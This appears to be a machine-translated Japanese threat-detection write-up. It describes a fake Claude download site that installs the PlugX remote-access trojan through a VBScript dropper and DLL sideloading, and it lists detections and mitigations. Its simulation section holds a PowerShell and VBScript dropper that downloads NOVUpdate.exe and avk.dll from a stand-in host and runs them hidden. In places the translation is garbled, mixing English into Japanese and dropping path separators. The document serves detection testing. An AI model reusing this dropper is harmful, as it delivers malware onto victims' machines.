偽のClaudeサイト、攻撃者がコンピュータにアクセスするマルウェアをインストール
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
攻撃者が偽のClaudeダウンロードページを設定し、疑いのないユーザーにトロイの木馬化されたZIPアーカイブを届けました。それを開くと、アーカイブは一見正当なClaudeデスクトップクライアントをインストールしつつ、署名されたG DATAアップデーターとDLLサイドローディングを介してPlugXリモートアクセス型トロイの木馬を密かに展開しました。この悪意のあるペイロードは、永続性を維持するためにユーザーのスタートアップフォルダーに配置され、その後、コマンド・アンド・コントロールサーバーとの外向きHTTPS通信を開始しました。このキャンペーンは、脅威アクターが最初の侵入として人気のあるAIツールへの関心を工夫したソーシャルエンジニアリングとしてどのように利用しているかを示しています。
調査
分析中、研究者はZIPアーカイブを解凍し、MSIインストールパスを特定し、実行をVBScriptドロッパーまで追跡しました。 NOVUpdate.exe 、悪意のある avk.dll 、および暗号化されたデータファイルをスタートアップフォルダーに書き込みました。サンドボックス実行により、サイドロードされたバイナリが正常に起動し、TCP/IP関連のレジストリキーを変更し、Alibaba CloudにホストされたIPアドレスへのポート443での外向き接続を開始することが確認されました。これらの発見により、正当なAIソフトウェアに見せかけた段階的な感染連鎖を通じてPlugXの配信が確認されました。
軽減策
ユーザーは、公式に検証されたソースからのみClaudeソフトウェアをダウンロードし、実行前にインストーラーパッケージの真正性を確認する必要があります。ディフェンダーは、新たにインストールされたアプリケーションに関連した不審な外向きHTTPSトラフィックを遮断するために、スタートアップフォルダーで予期しないバイナリやDLL、特に正当な更新コンポーネントを模倣するファイルを調査する必要があります。悪意のあるファイルを削除し、権限のないレジストリの変更を元に戻し、信頼できるアンチマルウェアスキャンを実行することが、脅威を抑えるための重要なステップです。
対応
セキュリティチームは、Startupディレクトリ内に NOVUpdate.exe, avk.dll 、または NOVUpdate.exe.dat が存在することを検知し、警告する必要があります。追加の検知は、信頼されていないDLLを読み込んで予期しないアウトバウンドTLSセッションを確立する、署名されたG DATAアップデーターバイナリに焦点を当てるべきです。影響を受けたホストは完全な復旧とフォレンジックレビューを受け、他のPlugXコンポーネント、持続メカニズム、追加ペイロードがアクティブではないことを確認する必要があります。
攻撃フロー
検知
LOLBAS WScript / CScript(プロセス作成経由)
表示
実行遅延のためのタイムアウトの使用の可能性(コマンドライン経由)
表示
自動起動位置における不審なバイナリ / スクリプト(ファイルイベント経由)
表示
IOC(HashSha256)を検出: 偽のClaudeサイトがマルウェアをインストールし、攻撃者がコンピュータにアクセス可能にする
表示
IOC(SourceIP)を検出: 偽のClaudeサイトがマルウェアをインストールし、攻撃者がコンピュータにアクセス可能にする
表示
IOC(DestinationIP)を検出: 偽のClaudeサイトがマルウェアをインストールし、攻撃者がコンピュータにアクセス可能にする
表示
WScriptによるNOVUpdate.exeのドロップと実行を検出 [Windowsプロセス作成]
表示
偽のClaudeサイトトロイの木馬化インストーラーの検出 [Windowsファイルイベント]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインのプレフライトチェックに合格している必要があります。
理論: このセクションは、検出ルールをトリガーするために設計された敵対者技術(TTP)の正確な実行を詳細に説明します。コマンドと説明は、検出ロジックによって期待される正確なテレメトリーを生成することを目的としており、抽象的または無関係な例は誤診につながります。
-
攻撃の概要&コマンド:
攻撃者が悪意のあるVBSスクリプトを作成し、ペイロードをダウンロードします。NOVUpdate.exeコマンド・アンド・コントロール(C2)サーバーから%TEMP%に書き込み、次にwscript.exeを介して起動します。同じスクリプトは、DLLサイドローディングを達成するために同じ場所からも読み込みます。攻撃者は内蔵のWindowsスクリプトホスト(WSH)に頼り、従来のAVヒューリスティックからの疑いを避けます。avk.dllfrom the same location to achieve DLL sideloading. The attacker relies on the built‑in Windows Script Host (WSH) to avoid raising suspicion from traditional AV heuristics.- 悪意のあるVBSファイルを書く (
malicious.vbs) への%TEMP%. - 呼び出し
wscript.exeVBSファイルのパスを指定して - VBSスクリプトはHTTP GETを実行して
NOVUpdate.exeandavk.dll(「%TEMP% NOVUpdate.exe 」)、ディスクに書き込み、実行しますNOVUpdate.exe.
- 悪意のあるVBSファイルを書く (
-
回帰テストスクリプト:
# -------------------------------------------------------------------- # 悪意のあるドロッパーのシミュレーション – Sigmaルールをトリガー # -------------------------------------------------------------------- $tempDir = "$env:TEMPDropperDemo" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null # 1. 悪意のあるVBSを作成し、2つのファイルをダウンロードしNOVUpdate.exeを実行 $vbsPath = "$tempDirmalicious.vbs" $vbsContent = @" Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.open "GET", "http://example.com/NOVUpdate.exe", False objXML.send If objXML.Status = 200 Then Set objStream = CreateObject("ADODB.Stream") objStream.Type = 1 objStream.Open objStream.Write objXML.ResponseBody objStream.SaveToFile "$tempDirNOVUpdate.exe", 2 objStream.Close End If
‘ DLLサイドローディングに使用するavk.dll をダウンロード… objXML.open “GET”, “http://example.com/avk.dll“, False objXML.send If objXML.Status = 200 Then Set objStream = CreateObject(“ADODB.Stream”) objStream.Type = 1 objStream.Open objStream.Write objXML.ResponseBody objStream.SaveToFile “$tempDiravk.dll”, 2 objStream.Close End If
‘ ドロップされたEXEを実行 CreateObject(“WScript.Shell”).Run “””$tempDirNOVUpdate.exe”””, 0, False “@ Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII
# 2. wscript.exe経由でスクリプトを実行(これがテレメトリーのテスト対象)
$wscript = "$env:SystemRootSystem32wscript.exe"
Start-Process -FilePath $wscript -ArgumentList "`"$vbsPath`"" -WindowStyle Hidden
# OPTIONAL: 検出を発火させるために一時停止
Start-Sleep -Seconds 10
# --------------------------------------------------------------------
-
クリーンアップコマンド:
# シミュレーションによって作成されたすべてのアーティファクトを削除 $tempDir = "$env:TEMPDropperDemo" if (Test-Path $tempDir) { Remove-Item -Path $tempDir -Recurse -Force } # 残ったNOVUpdate.exeプロセスがある場合は終了 Get-Process -Name "NOVUpdate" -ErrorAction SilentlyContinue | Stop-Process -Force